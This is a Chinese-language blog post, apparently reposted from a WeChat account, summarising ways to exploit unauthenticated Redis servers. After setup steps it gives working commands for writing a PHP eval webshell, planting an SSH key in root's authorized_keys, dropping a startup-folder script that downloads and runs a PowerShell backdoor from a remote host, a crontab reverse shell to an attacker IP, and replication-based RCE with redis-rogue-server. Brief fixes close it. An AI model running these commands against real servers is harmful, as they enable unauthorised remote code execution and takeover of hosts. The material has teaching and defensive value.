redis未授权利用方法总结

admin 2022年6月16日14:05:11评论122 views字数 2208阅读7分21秒阅读模式

环境搭建

Linux(centos7)

下载地址:

http://download.redis.io/releases/
这里下载的5.0.3版本
随后解压安装

tar -zxvf redis-5.0.3.tar.gzcd redis-5.0.3/srcmake all

再修改配置文件redis.conf
redis未授权利用方法总结



# bind 127.0.0.1protected-mode no

测试未授权
第一次没连接到,因为6379端口没有对外开放

systemctl stop firewalld.service

关掉防火墙即可
redis未授权利用方法总结




Windows(win10)

下载地址:

https://github.com/tporadowski/redis/releases
下载后解压,cmd进入目录
redis未授权利用方法总结




修改配置文件redis.windows.conf
redis未授权利用方法总结




# bind 127.0.0.1protected-mode no

目录下运行redis-server.exe redis.windows.conf
测试未授权
redis未授权利用方法总结




0x1 通过变量写入webshell

dir 指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里
dbfilename RDB文件名,默认为“dump.rdb”
我们可以将dir设置web目录,而dbfilename为webshell文件名,再随便set一个变量 值为一句话木马,再执行save或bgsave,便可写入一个webshell

config set dir /var/www/html/ # or c:/phpstudy/www 
config set dbfilename shell.php
set webshell "<?php @eval($_POST['a']);?>"
save

0x2 写入ssh key

利用Redis自带的config命令,将攻击机的公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以直接使用对应的私钥登录目标服务器。
1 -> 生成公私钥文件

ssh-keygen -t rsa

2 -> 将公钥写入txt

(echo -e "nn"; cat ~/.ssh/id_rsa.pub; echo -e "nn") > ./ssh.txt

3 -> 将txt写入redis

cat ./ssh.txt | redis-cli -h 192.168.226.181 -x set ssh
redis-cli -h 192.168.226.181config set dir /root/.ssh/
config set dbfilename authorized_keys
save #这里保存后便会自动将内存中的数据写入到备份文件/root/.ssh/authorized_keys中

此时已成功将公钥写入,可以直接用kali连接
redis未授权利用方法总结




0x3 利用启动项执行后门

在cs里生成一段powershell后门,执行如下命令写入

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"config set dbfilename shell.batset x "rnrnpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.230.133:80/a'))"rnrn"save

需要目标重启,重启后便会运行后门

0x4 利用crontab反弹shell

set x "n* * * * * bash -i >& /dev/tcp/192.168.226.181/4399 0>&1n"config set dir /var/spool/cron/config set dbfilename rootsave

redis未授权利用方法总结




kali开启监听,一会就反弹过来了
redis未授权利用方法总结




0x5 主从复制rce

主从复制原理:

https://www.cnblogs.com/daofaziran/p/10978628.html
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
直接上exp

unzip redis-rogue-server-master.zip
cd redis-rogue-server/RedisModulesSDK/exp
make
cd ../../
python3 redis-rogue-server.py --rhost 192.168.226.181 --lhost 192.168.226.176

redis未授权利用方法总结




输入i会建立一个交互shell,输入r会反弹shell
尝试反弹shell
redis未授权利用方法总结




修复建议

大多情况都是建立在未授权情况下,直接从根本解决
1.设置默认只对本地开放
2.设置登录密码
3.低权限运行redis

参考文章

https://www.cnblogs.com/loopkep/p/11135949.html
https://mp.weixin.qq.com/s/Oy63HY68MdDzL0WBdFLDBQ
https://blog.csdn.net/hyy615545936/article/details/100747855
https://zhuanlan.zhihu.com/p/101701119


原文始发于微信公众号(白帽兔):redis未授权利用方法总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月16日14:05:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   redis未授权利用方法总结http://cn-sec.com/archives/1120294.html

发表评论

匿名网友 填写信息